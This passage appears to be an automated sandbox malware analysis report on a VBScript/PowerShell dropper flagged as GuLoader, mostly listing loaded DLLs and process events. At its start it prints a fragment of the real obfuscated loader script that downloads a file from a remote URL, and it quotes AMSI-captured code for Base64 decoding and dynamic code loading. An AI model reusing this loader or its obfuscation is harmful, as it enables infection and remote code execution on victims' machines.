T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BAT	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Binary string: indows\System.Core.pdb source: powershell.exe, 0000000B.00000002.2496185004.00000000075CB000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("powerShell", ""Get-Service;$Saddlecloths='func';Get-H", "", "", "0");

Yara detected GuLoader

Source: Yara match

File source: 0000000B.00000002.2503220797.000000000B9A5000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Satellitterne)$glObaL:AFSKRIdTNInGens = [sYstEm.tEXT.enCoDING]::AScIi.geTsTRINg($amorAlen)$gLObaL:aUTOMaTIONspRogRam11=$AFSkrIdtnINgenS.SuBStRing($CRaWlway20,$FoRVRed)<#Bikagen vasel
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Muge $Opsigamy $Staahjden), (Legislatrices @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Udartes = [AppDomain]::CurrentDomain.GetAssemblies()$global:Aira
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Dreamwhile229)), $Sukkersygebehandlingootjackveloz).DefineDynamicModule($Skrivekommandoens, $false).DefineType($Seksogtyve, $puruha, [
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Satellitterne)$glObaL:AFSKRIdTNInGens = [sYstEm.tEXT.enCoDING]::AScIi.geTsTRINg($amorAlen)$gLObaL:aUTOMaTIONspRogRam11=$AFSkrIdtnINgenS.SuBStRing($CRaWlway20,$FoRVRed)<#Bikagen vasel

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFC3DE50942 push E95ADDD0h; ret	1_2_00007FFC3DE509C9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04929E20 push esp; ret	11_2_0492A159
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_0776EDDE push ds; ret	11_2_0776EDDF

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
